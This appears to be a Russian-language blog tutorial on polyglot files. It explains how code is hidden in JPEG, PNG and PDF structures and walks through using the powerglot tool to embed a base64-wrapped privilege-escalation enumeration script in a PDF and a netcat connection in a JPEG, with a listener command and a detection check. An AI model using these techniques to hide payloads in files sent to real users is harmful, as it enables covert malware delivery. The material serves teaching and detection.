Конечно, угроза безопасности звучит очень пафосно, тем более для милого котика, смотрящего на вас с JPEG изображения, но среди его байт легко мог затеряться вредоносный скрипт. Давайте разберёмся, что к чему.
Что такое полиглоты и как они работают
Файл-полиглот - это файл, который меняет свой тип в зависимости от контекста использования. Чтобы лучше понять суть можно привести следующий пример — файл JPEG изображения, который также содержит в себе эксплоит для сканирования информации о компьютере на Линуксе. И в зависимости от способа использования данного полиглота изменится и его тип, это достигается за счет сохранение сигнатурных байтов, с помощью которых различные системы способны определить расширение файла.
Некоторые примеры сигнатурных байтов:
JPEG файлы — начинаются с
FF
D8
и кончаютсяFF
D9
PDF файлы — начинаются с “%PDF” (в hex формате —
25
50
44
46
)
Основное множество полиглотов содержит в себе код, написанный на одном языке программирования. Чаще всего они используются для обхода защиты, которая основана на расширении файлов — пользователю скорее представится возможность загрузить файл с расширением JPEG, PNG и PDF, нежели с потенциально опасными JS, SH и HTML.
Прочитать больше про полиглоты можно например здесь или здесь.
Принципы создания полиглотов различных форматов
Так как каждое расширение файлов имеет уникальную структуру и ключевые, важные элементы, которые должны обязательно присутствовать, значит для каждого типа существует свой способ инъекции эксплоитов. Я не буду рассматривать структуры форматов, а лишь затрону как происходит внедрение кода, но если кому-то все же станет интересно, как они работают, вот отличные статьи на хабре о некоторых из них:
- Декодирование JPEG для чайников
- PNG — not GIF!
Формат JPEG
При сокрытии эксплоитов в JPEG используется метод изменения структуры, который заключается в изменении значение длины (length) на необходимое количество байтов.
Первичная структура файла:
![Пример изначального содержания Пример изначального содержания](https://habrastorage.org/getpro/habr/upload_files/4c7/7e7/d1b/4c77e7d1b8c03524fc4fd09bddbd5fce.png)
После изменения значения в файле появляется дополнительное место, в которое можно поместить эксплоит:
![Пример измененного содержания Пример измененного содержания](https://habrastorage.org/getpro/habr/upload_files/439/626/0a5/4396260a5081de14eb88cd41a805bd4e.png)
Формат PNG
Из-за того, что структура PNG файла представляет из себя последовательность чанков, то в основном, для сокрытия нужной информации, используется метод добавления нового чанка после IHDR. Первичная структура файла:
![Структура до изменения Структура до изменения](https://habrastorage.org/getpro/habr/upload_files/e56/bc0/8a3/e56bc08a30a8e1cee62b55c34658512d.png)
Необходимо добавить чанк tEXt, позволяющий записать в него скрываемую информацию, в нашем случае JS + HTML эксплоит:
![Структура после изменения Структура после изменения](https://habrastorage.org/getpro/habr/upload_files/825/c4e/1e4/825c4e1e45757d3e6d038f240884b0b8.png)
Формат PDF
Часто используются различные методы редактирования строк. Обычно, каждая строка заключена в круглые скобки, но злоумышленнику ничего не мешает записать ее в виде “столбика” или заменить каждый символ строки его восьмеричным или шестнадцатеричным представлением, причем числа можно разделять пробелами неограниченное количество раз.
Также, в PDF можно «прятать» JS эксплоиты с помощью /JavaScript /JS объектов, которые сами могут содержать исполняемый код, так и могут отсылать на другой JS объект.
![](https://habrastorage.org/getpro/habr/upload_files/9e0/9a1/6d0/9e09a16d09820bfd2fe7e0fd7bbfde8e.png)
В дополнение к выше перечисленным способам для скрытия эксплойтов можно запутать код с помощью hex последовательностей, в которых, например, /JavaScript может превратиться в /J#61#76#61Script. (При конвертации из hex в текст получим a = 61, v = 76, a = 61)
Работа с полиглотами
После краткой теоретической части можно перейти к захватывающей практике.
Сейчас мы попробуем создать и открыть полиглоты различными способами, а также проанализируем файлы на наличие полиглотных сигнатур.
Для наглядности и понятности глава разделена по пунктам с названиями объединённых расширений, внутри которых присутствуют шаги по созданию*, запуску и обнаружению* полиглотов.
* - В ходе создания и обнаружения полиглотов будет использована утилита powerglot
PDF + Bash
Создание полиглота
Первый шаг – работа со скриптом. Выбираем необходимый эксплоит на основе Bash языка (я буду использовать скрипт - Local Linux Enumeration & Privilege Escalation Script, он есть в файлах утилиты powerglot), кодируем его с помощью base64 и записываем в исполняемый файл формата .sh.
base64 ./расположение/скрипта -w 0 > b64.sh
![Кодирование эксплоита в base64 Кодирование эксплоита в base64](https://habrastorage.org/getpro/habr/upload_files/46f/962/9f3/46f9629f3c4d9699db9bb8bf5fb1456f.png)
Теперь нам нужно отредактировать содержимое файла так, чтобы base64 код мог раскодироваться в исходный код и выполниться командой bash. Для этого нам нужно обернуть закодированную цепочку в следующие команды:
echo “здесь располагается скрипт в base64“ | base64 -d | bash;
echo – отправка содержимого в терминал;
base 64 -d – произвести декодинг из base64;
bash – запустить скрипт.
Вот такой должен получиться результат:
![Содержимое отредактированного файла со скриптом Содержимое отредактированного файла со скриптом](https://habrastorage.org/getpro/habr/upload_files/076/5e9/6a8/0765e96a8f68c9fa5a77dd2aa44f4de2.png)
Второй шаг – объединение отредактированного скрипта и PDF. Это действие осуществляется с помощью функции утилиты Powerglot:
python3 powerglot.py -o ./путь_1/b64.sh ./путь_2/test.PDF OUTPUT
ключ -o – функция кодирования скрипта в файл;
./путь_1/b64.sh – путь до скрипта;
./путь_2/test.PDF – путь до файла, в который кодируется скрипт, в данном случае, с расширением PDF;
OUTPUT – название файла, с закодированным в него скриптом (результат),
его расширение зависит от файла, в который производилась кодировка.
После этого мы получаем готовый полиглот, который уже кое-что умеет.
Проверка и запуск полиглота
На рисунке можно увидеть, что при открытии PDF файла и просмотре его с помощью команд в терминале никаких аномалий не обнаружено.
![Первичный осмотр полиглота Первичный осмотр полиглота](https://habrastorage.org/getpro/habr/upload_files/eb6/563/e45/eb6563e451641a3492957f5a32acfcb1.png)
Срабатывание скрипта из полиглота вызывается открытием его в терминале (предварительно дав файлу разрешение на запуск).
Срабатывание эксплоита выводит в консоль детальную информацию о хосте —
ОС, файловая система, установленные программы и так далее.
![Запуск PDF полиглота Запуск PDF полиглота](https://habrastorage.org/getpro/habr/upload_files/42b/fa8/3e9/42bfa83e9d1759960a884592866aa305.png)
В довесок ко всему выше проделанному, утилита Powerglot имеет функцию обнаружения полиглотов, проверяя определенные байты информации по известным шаблонам, в которых может оказаться подозрительное содержимое, а также способна отделять стегосплоиты (stegosploit — тема для отдельной статьи) от обычных полиглотов, функция продемонстрирована на рисунке ниже. Но в случае проверки директории после создания PDF полиглота программа не фиксирует его за вредоносный файл, хотя сама его и создала.
![Запуск обнаружения полиглотов утилитой Powerglot Запуск обнаружения полиглотов утилитой Powerglot](https://habrastorage.org/getpro/habr/upload_files/b50/c4b/dae/b50c4bdae540d9ad4498debffa4117e0.png)
ключ -d – функция обнаружения полиглотов;
JPEG + Bash
Создание полиглота
Первый шаг – аналогично процессу по созданию PDF полиглота, необходимо подготовить эксплоит. Создадим простой исполняемый файл, который подключает хост, открывший наш полиглот, к серверу и дает возможность отправки сообщений между ними. Это возможно благодаря утилите командной строки netcat. Она позволяет передавать и получать данные по сетевым соединениям используя сетевые протоколы.
Перейдем к созданию эксплоита:
echo "nc 127.0.0.1 4444" > netcat.sh
echo – отправка содержимого в терминал;
nc 127.0.0.1 4444 – подключение с помощью утилиты netcat (nc) к серверу, в данном случае к самому себе, через порт номер 4444;
ключ > – перенаправляет отправку содержимого командой echo из терминала в файл;
netcat.sh – результат создания файла, содержащего эксплоит.
Второй шаг – объединение полученного эксплоита с JPEG файлом. Как и при создании PDF полиглота, воспользуемся утилитой Powerglot:
python3 powerglot.py -o ./путь_1/nc.sh ./путь_2/cat.jpg OUTPUT
ключ -o – функция кодирования скрипта в файл;
./путь_1/nc.sh – путь до скрипта;
./путь_2/cat.jpg – путь до файла, в который кодируется скрипт, в данном случае, с JPEG расширением;
OUTPUT – название файла, с закодированным в него скриптом (результат), его расширение зависит от файла, в который производилась кодировка.
Проверка и запуск полиглота
Видно, что получившиеся изображение не имеет помех или аномалий.
![Открытие полиглота на основе JPEG картинки Открытие полиглота на основе JPEG картинки](https://habrastorage.org/getpro/habr/upload_files/adb/c7c/f01/adbc7cf01f0f3d9cc6d6f09b9e751dc9.png)
Для проверки результата нужно запустить простенький «сервер» для приема и отправки сообщений на 4444 порту:
nc -nvlp 4444
Теперь, запустив полиглот в терминале, мы получаем связность между хостом и сервером, и можем обмениваться сообщениями. Это не приносит большого вреда, но сама концепция и принцип работы показывает на что могут быть способны полиглоты.
![Запуск JPEG полиглота Запуск JPEG полиглота](https://habrastorage.org/getpro/habr/upload_files/b39/2b4/cc0/b392b4cc0eec15e5758887f13f7f7aff.png)
![Запуск «сервера» Запуск «сервера»](https://habrastorage.org/getpro/habr/upload_files/eae/c6d/aac/eaec6daac7f280e22f0a400451679264.png)
На этот раз, программа по обнаружению полиглотов, отметила наш только что созданный полиглот, как подозрительный.
![](https://habrastorage.org/getpro/habr/upload_files/052/5dc/165/0525dc16584db715ec6a5f0c933a9cd7.png)
Заключение
Полиглоты являются интересным концептом угрозы безопасности информации. Они точно способны воспользоваться не бдительными пользователями, но скорее всего современные средства защиты не позволят им широко разгуляться.
С полиглотами можно долго экспериментировать и даже постараться найти им полезное применение, которое не будет светить вам 273 статьей. ;)
В продолжение данной темы можно рассмотреть stegosploit'ы, это полиглоты, созданные благодаря тому, что браузерный эксплоит стеганографически кодируется в JPG или PNG изображение, затем полученный файл «сливается» с HTML страницей, содержащей JS декодер закодированного в изображение эксплойта, превращая файл в HTML+Image полиглот....
Но это уже совсем другая история!